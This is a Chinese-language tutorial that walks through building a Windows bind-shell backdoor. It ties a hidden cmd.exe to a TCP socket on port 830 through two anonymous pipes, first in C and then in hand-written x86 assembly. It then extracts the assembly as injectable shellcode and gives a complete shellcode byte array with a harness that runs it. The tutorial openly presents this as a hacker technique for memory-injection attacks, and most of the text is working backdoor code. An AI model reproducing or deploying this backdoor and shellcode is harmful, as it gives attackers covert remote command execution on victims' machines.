本文將介紹如何將CMD
繫結到雙向管道上,這是一種常用的駭客反彈技巧,可以讓使用者在命令列介面下與其他程式進行互動,我們將從建立管道、啟動程序、傳輸資料等方面對這個功能進行詳細講解。此外,本文還將通過使用組合語言一步步來實現這個可被注入的ShellCode
後門,並以此提高程式碼通用性。最終,我們將通過一個實際的漏洞攻擊場景來展示如何利用這個後門實現記憶體注入攻擊。
首先管道(Pipe)
是一種IPC機制,用於在同一臺計算機上進行程序間通訊。它可以讓一個程序將資料寫入到管道中,然後另一個程序可以從管道中讀取這些資料。一般而言管道可以分為匿名管道(Anonymous Pipe)
或命名管道(Named Pipe)
兩種形式。
在實現中,管道通常是由作業系統提供的一段共用記憶體區域。在管道建立時,作業系統會為管道分配一段記憶體區域,該記憶體區域由建立管道的程序和與其通訊的程序共用。當程序往管道中寫入資料時,資料會被儲存在管道的記憶體緩衝區中,然後等待另一個程序從管道中讀取資料。當另一個程序讀取管道中的資料時,資料將從記憶體緩衝區中被讀取並且被刪除,從而保證資料傳輸的正確性和可靠性。
有了管道的支援,我們向其他程序傳輸資料時就可像對普通檔案讀寫那樣簡單。管道操作的識別符號是HANDLE
控制程式碼,當管道被正確建立時則,我們可以直接使用ReadFile、WriteFile
等檔案讀寫函數來讀寫它,讀者無需瞭解網路間程序間通訊的細節部分;
一般匿名管道的建立需要呼叫CreatePipe()
函數實現,它可以建立一個管道,並返回兩個控制程式碼,一個用於讀取管道資料,另一個用於寫入管道資料。
CreatePipe函數的語法如下:
BOOL CreatePipe(
PHANDLE hReadPipe, // 讀取管道資料的控制程式碼指標
PHANDLE hWritePipe, // 寫入管道資料的控制程式碼指標
LPSECURITY_ATTRIBUTES lpPipeAttributes, // 指向安全屬性結構的指標
DWORD nSize // 管道緩衝區大小,若為0則使用預設大小
);
其中,hReadPipe
和hWritePipe
是PHANDLE
型別的指標,用於接收讀取和寫入管道的控制程式碼。lpPipeAttributes
是指向SECURITY_ATTRIBUTES
結構的指標,用於指定管道的安全屬性,通常設定為NULL
。nSize
是管道緩衝區的大小,若為0則使用預設大小。在使用CreatePipe
函數建立匿名管道後,讀者可以使用WriteFile
函數往管道中寫入資料,也可以使用ReadFile
函數從管道中讀取資料。讀取和寫入管道的操作需要使用相應的控制程式碼。
小提示:匿名管道只能在具有親緣關係的程序之間使用,即父子程序或兄弟程序,通過設定
CreateProcess
函數中的bInheritHandles
屬性為True
則可實現父子程序,如果需要在不同的程序之間使用管道進行通訊,則應該使用命名管道。
接著來簡單介紹一下CreateProcess
函數,該函數用於建立一個新的程序,返回值非0表示成功,為0表示失敗。為了讓2個程序產生父子及繼承關係,引數bInheritHandles
應設定為True,該函數的原型如下所示;
BOOL CreateProcess(
LPCWSTR lpApplicationName, // 可執行檔名或者命令列
LPWSTR lpCommandLine, // 命令列引數
LPSECURITY_ATTRIBUTES lpProcessAttributes,// 程序安全屬性
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 執行緒安全屬性
BOOL bInheritHandles, // 是否繼承父程序的控制程式碼
DWORD dwCreationFlags, // 程序建立標誌
LPVOID lpEnvironment, // 新程序的環境塊指標
LPCWSTR lpCurrentDirectory, // 新程序的工作目錄
LPSTARTUPINFO lpStartupInfo, // STARTUPINFO 結構體指標
LPPROCESS_INFORMATION lpProcessInformation// PROCESS_INFORMATION 結構體指標
);
實現匿名管道通訊,我們還需要了解最後一個函數PeekNamedPipe
,該函數用於檢查命名管道中的是否有資料,函數返回值為BOOL
型別,如果函數呼叫成功,則返回TRUE
,否則返回FALSE
該函數的原型定義如下所示;
BOOL PeekNamedPipe(
HANDLE hNamedPipe, // 命名管道的控制程式碼
LPVOID lpBuffer, // 儲存讀取資料的緩衝區
DWORD nBufferSize, // 緩衝區的大小
LPDWORD lpBytesRead, // 實際讀取的位元組數
LPDWORD lpTotalBytesAvail, // 管道中可用的位元組數
LPDWORD lpBytesLeftThisMessage // 下一條訊息剩餘的位元組數
);
在呼叫成功的情況下,lpBytesRead
引數返回實際讀取的位元組數,lpTotalBytesAvail
引數返回管道中可用的位元組數,lpBytesLeftThisMessage
引數返回下一條訊息剩餘的位元組數。如果命名管道為空,則函數會阻塞等待資料到來,當接收到資料時則讀者即可通過呼叫ReadFile
在管道中讀取資料,或呼叫WriteFile
來向管道寫入資料,至此關鍵的API函數已經介紹完了;
其實匿名管道反彈CMD的工作原理可以理解為,首先攻擊機發命令並通過Socket
傳給目標機的父程序,目標機的父程序又通過一個匿名管道傳給子程序,這裡的子程序是cmd.exe
,CMD執行命令後,把結果通過另一個匿名管道返給父程序,父程序最後再通過Socket
返回給攻擊機,以此則實現了反彈Shell的目的;
接著我們就來實現這個雙向匿名管道功能,在實現管道之前需要先建立通訊端,首先使用WSAStartup
函數初始化Winsock
庫,並使用socket
函數建立一個通訊端。然後,使用bind
函數將通訊端繫結到特定的IP地址和埠號。listen
函數將通訊端設定為偵聽傳入的連線,而accept
函數會一直阻塞直到建立使用者端連線。一旦連線建立,程式碼會返回使用者端的通訊端描述符clientFD。
WSADATA ws;
SOCKET listenFD;
char Buff[1024];
int ret;
// 初始化網路通訊庫
WSAStartup(MAKEWORD(2, 2), &ws);
// 建立Socket通訊端
listenFD = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
// 設定通訊協定屬性,並監聽本機830埠
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr = ADDR_ANY;
// 開始繫結通訊端
ret = bind(listenFD, (sockaddr *)&server, sizeof(server));
// 偵聽通訊端連結
ret = listen(listenFD, 2);
// 接受一個連線
int iAddrSize = sizeof(server);
SOCKET clientFD = accept(listenFD, (sockaddr *)&server, &iAddrSize);
有了通訊端功能,則第二步需要建立兩個PIPE
管道,其中第一個管道用於輸出執行結果,第二個管道用於輸入命令,把CMD子程序輸出控制程式碼用管道1的寫控制程式碼替換,此時主程序就可以通過讀管道1的讀控制程式碼來獲得輸出;另外,我們還要把CMD子程序的輸入控制程式碼用2的讀控制程式碼替換,此時主程序就可以通過寫管道2的寫控制程式碼來輸入命令。
其通訊過程如下:
SECURITY_ATTRIBUTES pipeattr1, pipeattr2;
HANDLE hReadPipe1, hWritePipe1, hReadPipe2, hWritePipe2;
// 建立匿名管道1
pipeattr1.nLength = 12;
pipeattr1.lpSecurityDescriptor = 0;
pipeattr1.bInheritHandle = true;
CreatePipe(&hReadPipe1, &hWritePipe1, &pipeattr1, 0);
// 建立匿名管道2
pipeattr2.nLength = 12;
pipeattr2.lpSecurityDescriptor = 0;
pipeattr2.bInheritHandle = true;
CreatePipe(&hReadPipe2, &hWritePipe2, &pipeattr2, 0);
為了得到上述繫結效果,我們在設定CMD子程序STARTUPINFO
啟動引數時就應該做好繫結工作,通過填入如下所示的變數值,並呼叫CreateProcess
實現對程序的繫結,通過替換程序的輸出控制程式碼為管道1的寫控制程式碼,輸入控制程式碼為管道2的讀控制程式碼。最後再開啟CMD命令就實現了繫結功能,程式碼如下所示;
// 填充所需引數實現子程序與主程序通訊
STARTUPINFO si;
ZeroMemory(&si, sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
// 建立程序繫結引數
ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);
當CMD子程序啟動後,則下一步則是和遠端攻擊機之間建立通訊,如下程式碼通過使用PeekNamedPipe
和recv
函數不斷檢查從遠端使用者端或CMD程序接收到的資料。如果從CMD程序中有可讀資料,則使用ReadFile
函數讀取該資料並使用send
函數傳送回遠端使用者端。如果沒有資料可讀,則程式接收從遠端使用者端發來的命令,並將命令寫入管道2,即傳給CMD程序。這個過程不斷迴圈執行,直到出現錯誤或收到退出命令。
unsigned long lBytesRead;
while (1)
{
// 檢查管道1 即CMD程序是否有輸出
ret = PeekNamedPipe(hReadPipe1, Buff, 1024, &lBytesRead, 0, 0);
if (lBytesRead)
{
//管道1有輸出 讀出結果發給遠端客戶機
ret = ReadFile(hReadPipe1, Buff, lBytesRead, &lBytesRead, 0);
if (!ret)
{
break;
}
ret = send(clientFD, Buff, lBytesRead, 0);
if (ret <= 0)
{
break;
}
}
else
{
// 否則接收遠端客戶機的命令
lBytesRead = recv(clientFD, Buff, 1024, 0);
if (lBytesRead <= 0)
{
break;
}
// 將命令寫入管道2 即傳給cmd程序
ret = WriteFile(hWritePipe2, Buff, lBytesRead, &lBytesRead, 0);
if (!ret)
{
break;
}
}
}
如上程式碼所示就是完整的雙向匿名管道的實現原理,我們通過整合並編譯,開啟編譯後的可執行程式,此時讀者可使用netcat
工具執行nc 127.0.0.1 830
則可連線到該後門內部,並以此獲得一個Shell後門,此時讀者可執行任意命令,輸出效果如下圖所示;
在之前文章中我們介紹瞭如何使用C語言建立一個雙管道通訊後門,而對於在實戰中,往往需要直接注入後門到記憶體,此時將後門轉換為ShellCode
是一個不錯的選擇,首先為了保證文章的篇幅不宜過長,此處暫且不考慮生成組合程式碼的通用性,首先我們需要得到在當前系統中所需要使用的函數的動態地址,至於如何提取這些動態地址,在之前的文章通用ShellCode
提取中有過詳細的介紹,此處我們就直接給出實現程式碼;
#include <Windows.h>
#include <iostream>
typedef void(*MyProcess)(LPSTR);
int main(int argc, char *argv[])
{
HINSTANCE KernelHandle;
HINSTANCE WS2Handle;
MyProcess ProcAddr;
KernelHandle = LoadLibrary(L"kernel32");
printf("kernel32 address = 0x%x\n", KernelHandle);
WS2Handle = LoadLibrary(L"ws2_32");
printf("ws2_32 address = 0x%x\n\n", WS2Handle);
CHAR *FuncList[13] =
{
"CreatePipe", "CreateProcessA", "PeekNamedPipe", "WriteFile", "ReadFile", "ExitProcess",
"WSAStartup", "socket", "bind", "listen", "accept", "send", "recv"
};
for (size_t i = 0; i < 13; i++)
{
if (i < 6)
{
// 輸出kerlen32中的引數
ProcAddr = (MyProcess)GetProcAddress(KernelHandle, FuncList[i]);
printf("%s = 0x%x \n", FuncList[i], ProcAddr);
}
else
{
// 輸出ws2中的引數
ProcAddr = (MyProcess)GetProcAddress(WS2Handle, FuncList[i]);
printf("%s = 0x%x \n", FuncList[i], ProcAddr);
}
}
system("pause");
return 0;
}
當讀者執行這段程式時,則會輸出kernel32.dll
及ws2_32.dll
的模組基址,同時還會輸出"CreatePipe", "CreateProcessA", "PeekNamedPipe", "WriteFile", "ReadFile", "ExitProcess","WSAStartup", "socket", "bind", "listen", "accept", "send", "recv"
這些我們所需要的函數的記憶體地址,輸出效果如下圖所示;
接著我們需要將這些函數記憶體地址依次填充到組合程式碼中,將其動態壓入堆疊儲存,如下是筆者填充過的組合程式碼片段,此處的十六進位制數讀者電腦中的與筆者一定不一致,請讀者自行替換即可;
mov eax,0x763e2d70
mov [ebp+4], eax; CreatePipe
mov eax,0x763e2d90
mov [ebp+8], eax; CreateProcessA
mov eax,0x763e4140
mov [ebp+12], eax; PeekNamedPipe
mov eax,0x763d35b0
mov [ebp+16], eax; WriteFile
mov eax,0x763d34c0
mov [ebp+20], eax; ReadFile
mov eax,0x763d4100
mov [ebp+24], eax; ExitProcess
mov eax,0x76c29cc0
mov [ebp+28], eax; WSAStartup
mov eax,0x76c2c990
mov [ebp+32], eax; socket
mov eax,0x76c2d890
mov [ebp+36], eax; bind
mov eax,0x76c35d90
mov [ebp+40], eax; listen
mov eax,0x76c369c0
mov [ebp+44], eax; accept
mov eax,0x76c358a0
mov [ebp+48], eax; send
mov eax,0x76c323a0
mov [ebp+52], eax; recv
小提示:STDcall是一種呼叫約定,用於指定函數引數的傳遞方式、函數返回值的處理方式以及函數呼叫後堆疊的清理方式,它在Windows平臺上廣泛使用。該呼叫規定,函數的引數從右到左依次入棧,函數返回值儲存在EAX暫存器中。在函數呼叫後,由呼叫方負責清理堆疊上的引數,因此被呼叫函數不需要執行額外的堆疊清理操作。
在源程式的第一句指令,是執行WSAStartup(0x202, &ws)
。我們按照32位元
下函數的STDCALL
呼叫規範,首先將引數從右至左依次壓入棧中,其中該函數的第二個引數&ws
表示一個地址,因為WS地址已經不再使用了,所以此處我們就隨意壓入一個地址即可(比如ESP的值)
,第一個引數時0x202
則此時我們直接使用push 0x202
壓入,至此函數的引數已經填充完畢了,接下來則是呼叫該函數,因WSAStartup
的地址儲存在[ebp+28]
中,所以我們通過call [ebp+28]
就可以呼叫到該地址啦。
push esp
push 0x202
call [ebp + 28] // WSAStartup地址
接著是原程式中的第二個函數Socket(2,1,6)
讀者需要先將6、1、2
依次入棧,最後再call socket
的地址,也就是呼叫[ebp + 32]
即可實現呼叫。
; socket(2,1,6)
push 6
push 1
push 2
call [ebp + 32]
mov ebx, eax // 將通訊端儲存到EBX中
讀者是否會有疑問,此處為什麼會傳遞這些引數呢,讀者可在源程式的開頭位置設定斷點,並開啟反組合視窗,觀察建立Socket
的引數傳遞情況,即可一目瞭然;
接著我們繼續提取第三個關鍵函數Bind()
繫結函數,相比於前兩個函數而言,繫結函數要顯得更加複雜一些,原因是該函數需要填充一個sockaddr_in
的結構體變數,所以在填充引數之前還需要具體分析;
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
我們還是藉助VS工具,在bind()
函數上下斷點,並開啟反組合視窗(Ctrl+Alt+D),觀察編譯器是如何編譯處理的,如下圖所示;
高階語言執行bind
時,首先是將0x10
入棧,說明sizeof(server)
的引數傳遞其實就是0x10
第二個引數&server
是sockaddr_in
結構的地址。在sockaddr_in
結構中,包括了繫結的協定、IP、埠號
等值。和在堆疊中構造字串一樣,我們也在棧中構造出sockaddr_in
的結構,那麼esp
就是sockaddr_in
結構的地址了。
為了能夠更好的提取到第二個引數的壓入資訊,我們需要將偵錯程式執行到listen(listenFD, 2)
處,並開啟記憶體視窗,輸出&server
跳轉到當前結構體填充位置處,讀者可看到如下記憶體資料;
從上圖中可看出,如下執行後其實就是得到了02 00 03 3E 00 00 00 00
,知道了確切要賦的值,我們就依葫蘆畫瓢,開始壓棧push 0x0000,push 0x0000,push 0x3E030002
此時我們就在堆疊中構造出了sockaddr_in
結構的值,而且esp
就正好是結構的地址。我們把它儲存給esi
作為第二個引數壓入堆疊。
好了,剩下就簡單了,最後一個引數是socket
。上面執行了socket()
後,我們把socket
的值儲存在了ebx
中,所以將ebx
壓入就可以了。最後call
呼叫函數。bind
函數地址存放在[ebp + 36]
中,將這段組合程式碼結合起來就像如下所示。
; bind(listenFD,(sockaddr *)&server,sizeof(server));
xor edi,edi // 先構造server
push edi
push edi
mov eax,0x3E030002
; port 830 AF_INET
push eax
mov esi, esp // 把server地址賦給esi
push 0x10 ; length
push esi ; &server
push ebx ; socket
call [ebp + 36] ; bind
好了根據上述方法,讀者需要依次跟蹤程式碼執行流程,並嫁給你所需要的引數依次提取出來,最終將這些引數組合在一起,即可得到如下方所示的一段組合程式碼片段;
#include <Windows.h>
#include <iostream>
int main(int argc, char *argv[])
{
LoadLibrary("kernel32.dll");
LoadLibrary("ws2_32.dll");
__asm
{
push ebp;
sub esp, 80;
mov ebp, esp;
// 替換所需函數地址
mov eax, 0x763e2d70
mov[ebp + 4], eax; CreatePipe
mov eax, 0x763e2d90
mov[ebp + 8], eax; CreateProcessA
mov eax, 0x763e4140
mov[ebp + 12], eax; PeekNamedPipe
mov eax, 0x763d35b0
mov[ebp + 16], eax; WriteFile
mov eax, 0x763d34c0
mov[ebp + 20], eax; ReadFile
mov eax, 0x763d4100
mov[ebp + 24], eax; ExitProcess
mov eax, 0x76c29cc0
mov[ebp + 28], eax; WSAStartup
mov eax, 0x76c2c990
mov[ebp + 32], eax; socket
mov eax, 0x76c2d890
mov[ebp + 36], eax; bind
mov eax, 0x76c35d90
mov[ebp + 40], eax; listen
mov eax, 0x76c369c0
mov[ebp + 44], eax; accept
mov eax, 0x76c358a0
mov[ebp + 48], eax; send
mov eax, 0x76c323a0
mov[ebp + 52], eax; recv
mov eax, 0x0
mov[ebp + 56], 0
mov[ebp + 60], 0
mov[ebp + 64], 0
mov[ebp + 68], 0
mov[ebp + 72], 0
LWSAStartup:
; WSAStartup(0x202, DATA)
sub esp, 400
push esp
push 0x202
call[ebp + 28]
socket:
; socket(2, 1, 6)
push 6
push 1
push 2
call[ebp + 32]
mov ebx, eax; save socket to ebx
LBind :
; bind(listenFD, (sockaddr *)&server, sizeof(server));
xor edi, edi
push edi
push edi
mov eax, 0x3E030002
push eax; port 830 AF_INET
mov esi, esp
push 0x10; length
push esi; &server
push ebx; socket
call[ebp + 36]; bind
LListen :
; listen(listenFD, 2)
inc edi
inc edi
push edi; 2
push ebx; socket
call[ebp + 40]; listen
LAccept :
; accept(listenFD, (sockaddr *)&server, &iAddrSize)
push 0x10
lea edi, [esp]
push edi
push esi; &server
push ebx; socket
call[ebp + 44]; accept
mov ebx, eax; save newsocket to ebx
Createpipe1 :
; CreatePipe(&hReadPipe1, &hWritePipe1, &pipeattr1, 0);
xor edi, edi
inc edi
push edi
xor edi, edi
push edi
push 0xc; pipeattr
mov esi, esp
push edi; 0
push esi; pipeattr1
lea eax, [ebp + 60]; &hWritePipe1
push eax
lea eax, [ebp + 56]; &hReadPipe1
push eax
call[ebp + 4]
CreatePipe2:
; CreatePipe(&hReadPipe2, &hWritePipe2, &pipeattr2, 0);
push edi; 0
push esi; pipeattr2
lea eax, [ebp + 68]; hWritePipe2
push eax
lea eax, [ebp + 64]; hReadPipe2
push eax
call[ebp + 4]
CreateProcess:
; ZeroMemory TARTUPINFO, 10h PROCESS_INFORMATION 44h
sub esp, 0x80
lea edi, [esp]
xor eax, eax
push 0x80
pop ecx
rep stosd
; si.dwFlags
lea edi, [esp]
mov eax, 0x0101
mov[edi + 2ch], eax;
; si.hStdInput = hReadPipe2 ebp + 64
mov eax, [ebp + 64]
mov[edi + 38h], eax
; si.hStdOutput si.hStdError = hWritePipe1 ebp + 60
mov eax, [ebp + 60]
mov[edi + 3ch], eax
mov eax, [ebp + 60]
mov[edi + 40h], eax
; cmd.exe
mov eax, 0x00646d63
mov[edi + 64h], eax; cmd
; CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation)
lea eax, [esp + 44h]
push eax; &pi
push edi; &si
push ecx; 0
push ecx; 0
push ecx; 0
inc ecx
push ecx; 1
dec ecx
push ecx; 0
push ecx; 0
lea eax, [edi + 64h]; "cmd"
push eax
push ecx; 0
call[ebp + 8]
loop1:
; while1
; PeekNamedPipe(hReadPipe1, Buff, 1024, &lBytesRead, 0, 0);
sub esp, 400h;
mov esi, esp; esi = Buff
xor ecx, ecx
push ecx; 0
push ecx; 0
lea edi, [ebp + 72]; &lBytesRead
push edi
mov eax, 400h
push eax; 1024
push esi; Buff
mov eax, [ebp + 56]
push eax; hReadPipe1
call[ebp + 12]
mov eax, [edi]
test eax, eax
jz recv_command
send_result :
; ReadFile(hReadPipe1, Buff, lBytesRead, &lBytesRead, 0)
xor ecx, ecx
push ecx; 0
push edi; &lBytesRead
push[edi]; hReadPipe1
push esi; Buff
push[ebp + 56]; hReadPipe1
call[ebp + 20]
; send(clientFD, Buff, lBytesRead, 0)
xor ecx, ecx
push ecx; 0
push[edi]; lBytesRead
push esi; Buff
push ebx; clientFD
call[ebp + 48]
jmp loop1
recv_command :
; recv(clientFD, Buff, 1024, 0)
xor ecx, ecx
push ecx
mov eax, 400h
push eax
push esi
push ebx
call[ebp + 52]
//lea ecx,[edi]
mov[edi], eax
; WriteFile(hWritePipe2, Buff, lBytesRead, &lBytesRead, 0)
xor ecx, ecx
push ecx
push edi
push[edi]
push esi
push[ebp + 68]
call[ebp + 16]
jmp loop1
end :
}
system("pause");
return 0;
}
接下來則是提取特徵碼,提取時讀者可以使用如下程式實現,將上方組合程式碼放入到ShellCodeStart-ShellCodeEnd
區域內,執行後則可提取出特定特徵碼引數;
#include <stdio.h>
#include <Windows.h>
int main(int argc, char* argv[])
{
DWORD Start, End, Len;
goto GetShellCode;
__asm
{
ShellCodeStart:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
int 3
ShellCodeEnd:
}
GetShellCode:
__asm
{
mov Start, offset ShellCodeStart
mov End, offset ShellCodeEnd
}
Len = End - Start;
unsigned char* newBuffer = new unsigned char[Len + 1024];
memset(newBuffer, 0, Len + 1024);
memcpy(newBuffer, (unsigned char*)Start, Len);
for (size_t i = 0; i < Len; i++)
{
printf("\\x%x", newBuffer[i]);
}
// 直接寫出二進位制
/*
FILE* fp_bin = fopen("d://shellcode.bin", "wb+");
fwrite(newBuffer, Len, 1, fp_bin);
_fcloseall();
// 寫出Unicode格式ShellCode
FILE *fp_uncode = fopen("c://un_ShellCode.txt", "wb+");
for (int x = 0; x < Len; x++)
{
fprintf(fp_uncode, "%%u%02x%02x", newBuffer[x + 1], newBuffer[x]);
}
_fcloseall();
*/
system("pause");
return 0;
}
執行後,則可自動提取出特徵碼,如下圖所示;
至此請讀者自行將上述ShellCode
程式碼替換之如下測試框架中測試;
#include <stdio.h>
#include <Windows.h>
unsigned char ShellCode[] =
"\x55\x83\xec\x50\x8b\xec\xb8\x70\x2d\x3e\x76\x89\x45\x4\xb8\x90\x2d\x3e\x76"
"\x89\x45\x8\xb8\x40\x41\x3e\x76\x89\x45\xc\xb8\xb0\x35\x3d\x76\x89\x45"
"\x10\xb8\xc0\x34\x3d\x76\x89\x45\x14\xb8\x0\x41\x3d\x76\x89\x45\x18\xb8\xc0\x9c\xc2"
"\x76\x89\x45\x1c\xb8\x90\xc9\xc2\x76\x89\x45\x20\xb8\x90\xd8\xc2\x76\x89\x45\x24\xb8"
"\x90\x5d\xc3\x76\x89\x45\x28\xb8\xc0\x69\xc3\x76\x89\x45\x2c\xb8\xa0\x58\xc3\x76\x89"
"\x45\x30\xb8\xa0\x23\xc3\x76\x89\x45\x34\xb8\x0\x0\x0\x0\xc6\x45\x38\x0\xc6\x45\x3c"
"\x0\xc6\x45\x40\x0\xc6\x45\x44\x0\xc6\x45\x48\x0\x81\xec\x90\x1\x0\x0\x54\x68\x2\x2"
"\x0\x0\xff\x55\x1c\x6a\x6\x6a\x1\x6a\x2\xff\x55\x20\x8b\xd8\x33\xff\x57\x57\xb8\x2\x0"
"\x3\x3e\x50\x8b\xf4\x6a\x10\x56\x53\xff\x55\x24\x47\x47\x57\x53\xff\x55\x28\x6a\x10\x8d"
"\x3c\x24\x57\x56\x53\xff\x55\x2c\x8b\xd8\x33\xff\x47\x57\x33\xff\x57\x6a\xc\x8b\xf4\x57\x56"
"\x8d\x45\x3c\x50\x8d\x45\x38\x50\xff\x55\x4\x57\x56\x8d\x45\x44\x50\x8d\x45\x40\x50\xff\x55"
"\x4\x81\xec\x80\x0\x0\x0\x8d\x3c\x24\x33\xc0\x68\x80\x0\x0\x0\x59\xf3\xab\x8d\x3c\x24\xb8"
"\x1\x1\x0\x0\x89\x47\x2c\x8b\x45\x40\x89\x47\x38\x8b\x45\x3c\x89\x47\x3c\x8b\x45\x3c\x89\x47"
"\x40\xb8\x63\x6d\x64\x0\x89\x47\x64\x8d\x44\x24\x44\x50\x57\x51\x51\x51\x41\x51\x49\x51\x51"
"\x8d\x47\x64\x50\x51\xff\x55\x8\x81\xec\x0\x4\x0\x0\x8b\xf4\x33\xc9\x51\x51\x8d\x7d\x48\x57"
"\xb8\x0\x4\x0\x0\x50\x56\x8b\x45\x38\x50\xff\x55\xc\x8b\x7\x85\xc0\x74\x19\x33\xc9\x51\x57"
"\xff\x37\x56\xff\x75\x38\xff\x55\x14\x33\xc9\x51\xff\x37\x56\x53\xff\x55\x30\xeb\xc3\x33\xc9"
"\x51\xb8\x0\x4\x0\x0\x50\x56\x53\xff\x55\x34\x89\x7\x33\xc9\x51\x57\xff\x37\x56\xff\x75\x44"
"\xff\x55\x10\xeb\xa4";
int main(int argc, char* argv[])
{
LoadLibrary("kernel32.dll");
LoadLibrary("ws2_32.dll");
__asm
{
lea eax, ShellCode
call eax
}
system("pause");
return 0;
}
當讀者執行該程式時,則會彈出伺服器端請求網路建立功能,此時我們的ShellCode
就算成功提取出來了,輸出效果圖如下所示;